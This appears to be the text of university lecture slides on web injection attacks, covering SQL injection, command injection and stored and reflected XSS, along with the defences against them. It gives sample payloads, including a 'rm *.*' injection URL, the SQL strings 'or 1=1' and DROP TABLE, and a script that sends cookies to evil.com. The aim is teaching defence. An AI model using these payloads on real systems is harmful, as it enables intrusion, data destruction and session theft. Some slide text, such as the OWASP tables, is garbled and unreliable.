Web Security: Injection Attacks

CS 161: Computer Security
Prof. Raluca Ada Popa

Nov 3, 2016

Credit: some slides are adapted from previous offerings of this course and from CS 241 of Prof. Dan Boneh
What can go bad if a web server is compromised?

- Steal sensitive data (e.g., data from many users)
- Change server data (e.g., affect users)
- Gateway to enabling attacks on clients
- Impersonation (of users to servers, or vice versa)
- Others
A set of common attacks

- **SQL Injection**
  - Browser sends malicious input to server
  - Bad input checking leads to malicious SQL query
- **XSS – Cross-site scripting**
  - Attacker inserts client-side script into pages viewed by other users, script runs in the users’ browsers
- **CSRF – Cross-site request forgery**
  - Bad web site sends request to good web site, using credentials of an innocent victim who “visits” site
Today’s focus: injection attacks
Historical perspective

- The first public discussions of SQL injection started appearing around 1998

In the Phrack magazine

First published in 1985

- phreak + hack

- Hundreds of proposed fixes and solutions
# Top web vulnerabilities

## OWASP Top 10 – 2010 (Previous)

<table>
<thead>
<tr>
<th>A1 – Injection</th>
<th>A3 – Broken Authentication and Session Management</th>
</tr>
</thead>
<tbody>
<tr>
<td>A2 – Cross-Site Scripting (XSS)</td>
<td>A4 – Insecure Direct Object References</td>
</tr>
<tr>
<td>A5 – Security Misconfiguration</td>
<td>A7 – Insecure Cryptographic Storage – Merged with A9</td>
</tr>
<tr>
<td>A6 – Security Misconfiguration</td>
<td>A6: Sensitive Data Exposure</td>
</tr>
<tr>
<td>A7 – Insecure Cryptographic Storage – Merged with A9</td>
<td>A9 – Using Known Vulnerable Components</td>
</tr>
<tr>
<td>A8. We believe</td>
<td>A8. We believe</td>
</tr>
<tr>
<td>Site Request Forgery (CSRF)</td>
<td>Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>&lt;buried in A6: Security Misconfiguration&gt;</td>
<td></td>
</tr>
</tbody>
</table>

## OWASP Top 10 – 2013 (New)

<table>
<thead>
<tr>
<th>A1 – Injection</th>
<th>A2 – Broken Authentication and Session Management</th>
</tr>
</thead>
<tbody>
<tr>
<td>A3 – Cross-Site Scripting (XSS)</td>
<td>A4 – Insecure Direct Object References</td>
</tr>
<tr>
<td>A5 – Security Misconfiguration</td>
<td>A6 – Sensitive Data Exposure</td>
</tr>
<tr>
<td>A6: Sensitive Data Exposure</td>
<td>A7 – Missing Function Level Access Control</td>
</tr>
<tr>
<td>A8 – Cross-Site Request Forgery (CSRF)</td>
<td>A9 – Using Known Vulnerable Components</td>
</tr>
</tbody>
</table>

Please don’t repeat common mistakes!!
General code injection attacks

- Attacker user provides bad input
- Web server does not check input format
- Enables attacker to execute arbitrary code on the server
Example: code injection based on eval (PHP)

- **eval** allows a web server to evaluate a string as code

- e.g. `eval(`$result = 3+5`)` produces 8

```
$exp = $_GET['exp'];
eval(`$result = ' . $exp . ' ;;');
```

Calculator: http://site.com/calc.php

Attack: http://site.com/calc.php?exp="3+5 ; system('rm *.*')"
Code injection using system()

Example: PHP server-side code for sending email

```php
$email = $_POST["email"];
$subject = $_POST["subject"];
system("mail $email -s $subject < /tmp/joinmynetwork");
```

Attacker can post

```
http://yourdomain.com/mail.php?
email=hacker@hackerhome.net &
subject="foo < /usr/passwd; ls"
```
SQL injection
Structure of Modern Web Services

Browser

URL / Form

command.php?
arg1=x&arg2=y

Web server

Database server
Structure of Modern Web Services

Browser

URL / Form
command.php?arg1=x&arg2=y

Web server

Database query built from x and y

Database server
Structure of Modern Web Services

- Web server
- Custom data corresponding to x & y
- Database server

Browser
Structure of Modern Web Services

Web page built using custom data
Databases

**Structured** collection of data
- Often storing tuples/rows of related values
- Organized in tables

<table>
<thead>
<tr>
<th>AcctNum</th>
<th>Username</th>
<th>Balance</th>
</tr>
</thead>
<tbody>
<tr>
<td>1199</td>
<td>zuckerberg</td>
<td>35.7</td>
</tr>
<tr>
<td>0501</td>
<td>bgates</td>
<td>79.2</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
<td>...</td>
</tr>
</tbody>
</table>
Databases

- Widely used by web services to store server and user information
- Database runs as a separate process to which the web server connects
  - Web server sends queries or commands derived from incoming HTTP request
  - Database server returns associated values or modifies/updates values
SQL

- Widely used database query language
  - (Pronounced “ess-cue-ell” or “sequel”)

- Fetch a set of rows:
  
  SELECT column FROM table WHERE condition

  returns the value(s) of the given column in the specified table, for all records where condition is true.

- e.g:

  SELECT Balance FROM Customer
  WHERE Username='bgates'

  will return the value 79.2
Can add data to the table (or modify):

```
INSERT INTO Customer VALUES (8477, 'oski', 10.00);
```

<table>
<thead>
<tr>
<th>AcctNum</th>
<th>Username</th>
<th>Balance</th>
</tr>
</thead>
<tbody>
<tr>
<td>1199</td>
<td>zuckerberg</td>
<td>35.7</td>
</tr>
<tr>
<td>0501</td>
<td>bgates</td>
<td>79.2</td>
</tr>
<tr>
<td>8477</td>
<td>oski</td>
<td>10.00</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
<td>...</td>
</tr>
</tbody>
</table>
SQL (cont.)

- Can delete entire tables:
  
  DROP TABLE Customer

- Issue multiple commands, separated by semicolon:
  
  INSERT INTO Customer VALUES (4433, 'vladimir', 70.0); SELECT AcctNum FROM Customer WHERE Username='vladimir'

  returns 4433.
SQL Injection Scenario

Suppose web server runs the following code:

```php
$recipient = $_POST['recipient'];
$sql = "SELECT AcctNum FROM Customer WHERE Username='".$recipient.' ";
$rs = $db->executeQuery($sql);
```

- Server stores URL parameter “recipient” in variable `$recipient` and then builds up a SQL query
- Query returns recipient’s account number
- Server will send value of `$sql` variable to database server to get account #s from database
SQL Injection Scenario

Suppose web server runs the following code:

```php
$recipient = $_POST['recipient'];
$sql = "SELECT AcctNum FROM Customer WHERE Username='$recipient' ";
$rs = $db->executeQuery($sql);
```

So for “?recipient=Bob” the SQL query is:

"SELECT AcctNum FROM Customer WHERE Username='Bob' "
Basic picture: SQL Injection

How can $recipient cause trouble here?
Problem

$recipient = $_POST['recipient'];
$sql = "SELECT AcctNum FROM Customer WHERE Username='$recipient';";
$rs = $db->executeQuery($sql);

Untrusted user input ‘recipient’ is embedded directly into SQL command

Attack:

$recipient = alice’; SELECT * FROM Customer;’

Returns the entire contents of the Customer!
CardSystems Attack

- CardSystems
  - credit card payment processing company
  - SQL injection attack in June 2005
  - put out of business

- The Attack
  - 263,000 credit card #s stolen from database
  - credit card #s stored unencrypted
  - 43 million credit card #s exposed
Anonymous speaks: the inside story of the HBGary hack

By Peter Bright | Last updated a day ago

The hbgaryfederal.com CMS was susceptible to a kind of attack called SQL injection. In common with other CMSes, the hbgaryfederal.com CMS stores its data in an SQL database, retrieving data from that database with suitable queries. Some queries are fixed—an integral part of the CMS application itself. Others, however, need parameters. For example, a query to retrieve an article from the CMS will generally need a parameter corresponding to the article ID number. These parameters are, in turn, generally passed from the Web frontend to the CMS.

It has been an embarrassing week for security firm HBGary and its HBGary Federal offshoot. HBGary Federal CEO Aaron Barr thought he had unmasked the hacker hordes of Anonymous and was preparing to name and shame those responsible for co-ordinating the group's actions, including the denial-of-service attacks that hit MasterCard, Visa, and other perceived enemies of WikiLeaks late last year.

When Barr told one of those he believed to be an Anonymous ringleader about his forthcoming exposé, the Anonymous response was swift and humiliating. HBGary's servers were broken into, its e-mails pillaged and published to the world, its data destroyed, and its website defaced. As an added bonus, a second site owned
Another example: buggy login page (ASP)

set ok = execute("SELECT * FROM Users
WHERE user=" & form("user") & " \\
AND pwd=" & form("pwd") & """);

if not ok.EOF
    login success
else fail;
Another example: buggy login page (ASP)

```
set ok = execute( "SELECT * FROM Users
    WHERE user=' " & form("user") & " ' AND
    pwd=' " & form("pwd") & " '" );

if not ok.EOF
    login success
else fail;

Is this exploitable?
```
Bad input

Suppose user = “' or 1=1 -- ” (URL encoded)

Then scripts does:

```python
ok = execute( SELECT ...
    WHERE user= ' ' or 1=1 -- ... )
```

- The “--” causes rest of line to be ignored.
- Now ok.EOF is always false and login succeeds.

The bad news: easy login to many sites this way.

Besides logging in, what else can attacker do?
Even worse: delete all data!

Suppose user = 
```
"' ; DROP TABLE Users -- "
```

Then script does:

```python
ok = execute(
    SELECT ... 
    WHERE user= ' ' ; DROP TABLE Users ... )
```
What else can an attacker do?

- Add query to create another account with password, or reset a password

- Suppose user =

  ```
  " ' ; INSERT INTO TABLE Users ('attacker', 'attacker secret'); "
  ```

- And pretty much everything that can be done by running a query on the DB!
SQL Injection Prevention

- Sanitize user input: check or enforce that value/string that does not have commands of any sort
- Disallow special characters, or
- Escape input string

SELECT PersonID  FROM People WHERE Username='alice\'; SELECT * FROM People;'
How to escape input

You “escape” the SQL parser

Web Server

query

Parser

commands

DB
How to escape input

- The input string should be interpreted as a string and not as a special character.
- To escape the SQL parser, use backslash in front of special characters, such as quotes or backslashes.
The SQL Parser does...

- If it sees ‘ it considers a string is starting or ending
- If it sees \’ it considers it just as a character part of a string and converts it to ‘

For

```
SELECT PersonID  FROM People WHERE
  Username='alice\'; SELECT * FROM People;\'
```

The username will be matched against `alice'; SELECT * FROM People;'` and no match found

Different parsers have different escape sequences or API for escaping
Examples

What is the string username gets compared to (after SQL parsing), and when does it flag a syntax error? (syntax error appears at least when quotes are not closed)

[...] WHERE Username=’alice’;  alice

[...] WHERE Username=’alice\’;  Syntax error, quote not closed

[...] WHERE Username=’alice\’;  alice’

[...] WHERE Username=’alice\”;  alice”

[...] WHERE Username=’alice\”’;  alice\ because \ gets converted to \ by the parser
SQL Injection Prevention

- Avoid building a SQL command based on raw user input, use existing tools or frameworks.

- E.g. (1): the Django web framework has built in sanitization and protection for other common vulnerabilities.
  - Django defines a query abstraction layer which sits atop SQL and allows applications to avoid writing raw SQL.
  - The execute function takes a sql query and replaces inputs with escaped values.

- E.g. (2): Or use parameterized/prepared SQL.
Parameterized/prepared SQL

- Builds SQL queries by properly escaping args: ' → \'

- Example: Parameterized SQL: (ASP.NET 1.1)
  - Ensures SQL arguments are properly escaped.

```csharp
SqlCommand cmd = new SqlCommand(
    "SELECT * FROM UserTable WHERE
    username = @User AND
    password = @Pwd",
    dbConnection);

cmd.Parameters.AddWithValue("@User", Request["user"]);

cmd.Parameters.AddWithValue("@Pwd", Request["pwd"]);

cmd.ExecuteReader();
```
How to prevent general injections

Similarly to SQL injections:

- Sanitize input from the user!
- Use frameworks/tools that already check user input
Hi, this is your son's school. We're having some computer trouble.

Oh, dear - did he break something? In a way-
Summary

- Injection attacks were and are the most common web vulnerability.

- It is typically due to malicious input supplied by an attacker that is passed without checking into a command; the input contains commands or alters the command.

- Can be prevented by sanitizing user input.
Cross-site scripting attack
### Top web vulnerabilities

#### OWASP Top 10 – 2010 (Previous)

- **A1** – Injection
- **A3** – Broken Authentication and Session Management
- **A2** – Cross-Site Scripting (XSS)
- **A4** – Insecure Direct Object References
- **A6** – Security Misconfiguration
- **A7** – Insecure Cryptographic Storage – Merged with A9
- **A8** – Failure to Restrict URL Access – Broadened into
- **A5** – Cross-Site Request Forgery (CSRF)
- **<buried in A6: Security Misconfiguration>**

#### OWASP Top 10 – 2013 (New)

- **A1** – Injection
- **A2** – Broken Authentication and Session Management
- **A3** – Cross-Site Scripting (XSS)
- **A4** – Insecure Direct Object References
- **A5** – Security Misconfiguration
- **A6** – Sensitive Data Exposure
- **A7** – Missing Function Level Access Control
- **A8** – Cross-Site Request Forgery (CSRF)
- **A9** – Using Known Vulnerable Components

The threat landscape for applications security constantly changes. Key factors in this evolution are advances made by attackers as they find new ways to exploit weaknesses. The release of new technologies with new weaknesses as well as more built in defenses, and the deployment of increasingly

What Changed From 2010 to 2013?

- Broken Authentication and Session Management moved up in prevalence based on our data set. We believe this is probably because this area is being looked at harder, not because these issues are actually more prevalent. This caused Risks A2 and A3 to switch places.
- Insufficient Transport Layer Protection moved down in prevalence based on our data set from 2010. We broadened Failure to Restrict URL Access from the 2010 OWASP Top 10 to be more inclusive:
  - Cross Site Scripting (XSS)
  - Insecure Cryptographic Storage
  - Insecure Direct Object References
  - Security Misconfiguration, but now has a category of its own as the
  - Sensitive Data Exposure
  - Site Request Forgery (CSRF)
  - Site Scripting (XSS)
- Using Known Vulnerable Components
- Cross Site Request Forgery (CSRF)

To keep pace, we periodically:

- Merged A9 into new
- Merged
- Merged
- Merged
- Merged
- Merged
- Merged
- Merged
- Merged
- Merged
- Merged
- Merged
- Merged
- Merged
- Merged
- Merged
- Merged
- Merged
- Merged
- Merged
- Merged
- Merged
- Merged
- Merged

In this 2013 release, we made the following changes:

- Using Known Vulnerable Components
- Cross Site Request Forgery (CSRF)
Cross-site scripting attack (XSS)

- Attacker injects a malicious script into the webpage viewed by a victim user
  - Script runs in user’s browser with access to page’s data

- The same-origin policy does not prevent XSS
Setting: Dynamic Web Pages

• Rather than static HTML, web pages can be expressed as a program, say written in Javascript:

```
<font size=30>
Hello, <b>
<script>
var a = 1;
var b = 2;
document.write("world: ",
    a+b,
    "</b>" );
</script>
</font>
```

• Outputs:

```
Hello, world: 3
```
Javascript

- Powerful web page *programming language*
- Scripts are embedded in web pages returned by web server
- Scripts are *executed* by browser. Can:
  - Alter page contents
  - Track events (mouse clicks, motion, keystrokes)
  - Issue web requests, read replies
- *(Note: despite name, has nothing to do with Java!)*
Browser’s rendering engine:

1. Call HTML parser
   - tokenizes, starts creating DOM tree
   - notices `<script>` tag, yields to JS engine
2. JS engine runs script to change page

   ```html
   <script>
   var a = 1;
   var b = 2;
   document.write("world: ", a+b, "</b>");
   </script>
   ```

3. HTML parser continues:
   - creates DOM
4. Painter displays DOM to user

   ```html
   <font size=30>
   Hello, <b>world: 3</b>
   ```
Confining the Power of Javascript Scripts

- Given all that power, browsers need to make sure JS scripts don’t abuse it.

- For example, don’t want a script sent from hackerz.com web server to read or modify data from bank.com.

- … or read keystrokes typed by user while focus is on a bank.com page!
Same Origin Policy

Recall:

- Browser associates web page elements (text, layout, events) with a given origin
- SOP = a script loaded by origin A can access only origin A’s resources (and it cannot access the resources of another origin)
XSS subverts the same origin policy

- Attack happens within the same origin
- Attacker tricks a server (e.g., bank.com) to send malicious script to users
- User visits to bank.com

Malicious script has origin of bank.com so it is permitted to access the resources on bank.com
Two main types of XSS

- **Stored XSS**: attacker leaves Javascript lying around on benign web service for victim to load
- **Reflected XSS**: attacker gets user to click on specially-crafted URL with script in it, web service reflects it back
Stored (or persistent) XSS

- The attacker manages to store a malicious script at the web server, e.g., at bank.com
- The server later unwittingly sends script to a victim’s browser
- Browser runs script in the same origin as the bank.com server
Stored XSS (Cross-Site Scripting)

Attack Browser/Server

evil.com
Stored XSS (Cross-Site Scripting)

1. Inject malicious script

Attack Browser/Server

Server Patsy/Victim

bank.com

evil.com
Stored XSS (Cross-Site Scripting)

1. Inject malicious script

User Victim

Attack Browser/Server

Server Patsy/Victim

evil.com

bank.com
Stored XSS (Cross-Site Scripting)

1. Attack Browser/Server
   - Inject malicious script
   - evil.com

2. User Victim
   - request content

Server Patsy/Victim
- bank.com
Stored XSS (Cross-Site Scripting)

1. Inject malicious script
2. request content
3. receive malicious script

User Victim

Server Patsy/Victim

Attack Browser/Server

evil.com

bank.com
Stored XSS (Cross-Site Scripting)

1. Evil.com inject malicious script.
2. User Victim requests content.
4. User Victim executes script embedded in input as though the server meant us to run it.
Stored XSS (Cross-Site Scripting)

1. Inject malicious script

Attack Browser/Server

2. request content

User Victim

3. receive malicious script

4. execute script embedded in input as though server meant us to run it

Server Patsy/Victim

5. perform attacker action

bank.com

evil.com
Stored XSS (Cross-Site Scripting)

1. Inject malicious script

2. Request content

3. Receive malicious script

4. Execute script embedded in input as though server meant us to run it

5. Perform attacker action

E.g., GET http://bank.com/sendmoney?to=DrEvil&amt=100000
Stored XSS (Cross-Site Scripting)

And/Or:

1. Inject malicious script

User Victim

2. Request content

3. Receive malicious script

4. Execute script embedded in input as though server meant us to run it

Server Patsy/Victim

5. Perform attacker action

6. Steal valuable data

Attack Browser/Server

evil.com

bank.com
Stored XSS (Cross-Site Scripting)

And/Or:

E.g., GET http://evil.com/steal/document.cookie

User Victim

① request content
② receive malicious script
③ perform attacker action
④ execute script embedded in input as though server meant us to run it
⑤ leak valuable data
⑥ Attack Browser/Server

Server Patsy/Victim

Attack Browser/Server

malicious script

bank.com
Stored XSS (Cross-Site Scripting)

1. Inject malicious script
2. Request content
3. Receive malicious script
4. Execute script embedded in input as though server meant us to run it
5. Perform attacker action
6. Leak valuable data

(A “stored” XSS attack)

User Victim

Attack Browser/Server

Server Patsy/Victim

bank.com

evil.com
Stored XSS: Summary

- **Target:** user who visits a **vulnerable web service**

- **Attacker goal:** run a **malicious script** in user’s browser with same access as provided to server’s regular scripts (subvert SOP = *Same Origin Policy*)

- **Attacker tools:** ability to leave content on web server page (e.g., via an ordinary browser);

- **Key trick:** server fails to ensure that content uploaded to page does not contain embedded scripts
Demo: stored XSS
MySpace.com  (Samy worm)

- Users can post HTML on their pages
  - MySpace.com ensures HTML contains no `<script>`, `<body>`, `onclick`, `<a href=javascript://>`
  - but can do Javascript within CSS tags:
    `<div style="background:url('javascript:alert(1)')">`

- With careful Javascript hacking, Samy worm infects anyone who visits an infected MySpace page
  - and adds Samy as a friend.
  - Samy had millions of friends within 24 hours.

http://namb.la/popular/tech.html
Twitter XSS vulnerability

User figured out how to send a tweet that would automatically be retweeted by all followers using vulnerable TweetDeck apps.

```html
<script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>
```
Stored XSS using images

Suppose pic.jpg on web server contains HTML!

- request for http://site.com/pic.jpg results in:
  
  HTTP/1.1 200 OK
  ...
  Content-Type: image/jpeg

  <html> fooled ya </html>

- IE will render this as HTML (despite Content-Type)

- Consider photo sharing sites that support image uploads
  
  - What if attacker uploads an “image” that is a script?
Reflected XSS

- The attacker gets the victim user to visit a URL for bank.com that embeds a malicious Javascript.
- The server echoes it back to victim user in its response.
- Victim’s browser executes the script within the same origin as bank.com.
Reflected XSS (Cross-Site Scripting)

Victim client
Reflected XSS (Cross-Site Scripting)
Reflected XSS (Cross-Site Scripting)
Reflected XSS (Cross-Site Scripting)

1. Visit web site
2. Receive malicious page
3. Click on link

Exact URL under attacker’s control

Victim client

Attack Server

Server Patsy/Victim

bank.com
evil.com
Reflected XSS (Cross-Site Scripting)

1. visit web site
2. receive malicious page
3. click on link
4. echo user input

Victim client

Attack Server

Server Patsy/Victim

evil.com

bank.com
Reflected XSS (Cross-Site Scripting)

1. Visit web site
2. Receive malicious page
3. Click on link
4. **echo** user input
5. Execute script embedded in input

*as though server meant us to run it*
Reflected XSS (Cross-Site Scripting)

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input
5. Execute script embedded in input as though server meant us to run it
6. Perform attacker action

Victim client

Attack Server: evil.com

Server Patsy/Victim: bank.com
Reflected XSS (Cross-Site Scripting)

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. execute script embedded in input as though server meant us to run it
6. And/Or:
7. send valuable data

Victim client

Attack Server

Server Patsy/Victim

evil.com

bank.com
Reflected XSS (Cross-Site Scripting)

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. execute script embedded in input as though server meant us to run it
6. perform attacker action
7. send valuable data

Attack Server

Victim client

Server Patsy/Victim

(evil.com)

(“Reflected” XSS attack)

bank.com
Example of How Reflected XSS Can Come About

- User input is echoed into HTML response.
- *Example*: search field
  - `search.php` responds with
    ```html
    <HTML>  <TITLE> Search Results </TITLE>
    <BODY>
    Results for $term : 
    . . .
    </BODY> </HTML>
    ```

How does an attacker who gets you to visit evil.com exploit this?
Injection Via Script-in-URL

Consider this link on evil.com: (properly URL encoded)

```
  <script> window.open(
    "http://evil.com/?cookie = " +
    document.cookie ) </script>
```

What if user clicks on this link?

1) Browser goes to bank.com/search.php?...
2) bank.com returns
   
   `<HTML> Results for <script> ... </script> ...`
3) Browser executes script *in same origin* as bank.com
   Sends to evil.com the cookie for bank.com
Attackers contacted users via email and fooled them into accessing a particular URL hosted on the legitimate PayPal website.

Injected code redirected PayPal visitors to a page warning users their accounts had been compromised.

Victims were then redirected to a phishing site and prompted to enter sensitive financial data.

Reflected XSS: Summary

- **Target**: user with Javascript-enabled *browser* who visits a vulnerable *web service* that will include parts of URLs it receives in the web page output it generates.

- **Attacker goal**: run script in user’s browser with same access as provided to server’s regular scripts (subvert SOP = *Same Origin Policy*).

- **Attacker tools**: ability to get user to click on a specially-crafted URL; optionally, a server used to receive stolen information such as cookies.

- **Key trick**: server fails to ensure that output it generates does not contain embedded scripts other than its own.
Preventing XSS

Web server must perform:

- **Input validation:** check that inputs are of expected form (whitelisting)
  - Avoid blacklisting; it doesn’t work well
- **Output escaping:** escape dynamic data before inserting it into HTML
Output escaping

- HTML parser looks for special characters: `< > & ” ’
  - `<html>`, `<div>`, `<script>`
  - such sequences trigger actions, e.g., running script
- Ideally, user-provided input string should not contain special chars
- If one wants to display these special characters in a webpage without the parser triggering action, one has to escape the parser

<table>
<thead>
<tr>
<th>Character</th>
<th>Escape sequence</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>&lt;</code></td>
<td><code>&amp;lt;</code></td>
</tr>
<tr>
<td><code>&gt;</code></td>
<td><code>&amp;gt;</code></td>
</tr>
<tr>
<td><code>&amp;</code></td>
<td><code>&amp;amp;</code></td>
</tr>
<tr>
<td><code>”</code></td>
<td><code>&amp;quot;</code></td>
</tr>
<tr>
<td><code>‘</code></td>
<td><code>&amp;#39;</code></td>
</tr>
</tbody>
</table>
Direct vs escaped embedding

Attacker input:

```
<script>
...
</script>
</html>
```

**direct**

```
<script>
...
</script>
```

**escaped**

```
Comment: &lt;script&gt;
...
&lt;/script&gt;
</html>
```

Browser rendering

**Attack! Script runs!**

```
Comment: &lt;script&gt;
...
&lt;/script&gt;
```

Browser rendering

**Script does not run but gets displayed!**
Demo fix
Escape user input!

""><SCRIPT>ALERT(/XSS/)<\/SCRIPT>""

FORGOT, IT GOES ON THE PICTURE
Escaping for SQL injection

- Very similar, escape SQL parser
- Use \ to escape
  - Html: \&#39;
  - SQL: \"
XSS prevention (cont’d): Content-security policy (CSP)

- Have web server supply a whitelist of the scripts that are allowed to appear on a page
  - Web developer specifies the domains the browser should allow for executable scripts, disallowing all other scripts (including **inline scripts**)

- Can opt to globally disallow script execution
Summary

- **XSS**: Attacker injects a malicious script into the webpage viewed by a victim user
  - Script runs in user’s browser with access to page’s data
  - Bypasses the same-origin policy

- Fixes: validate/escape input/output, use CSP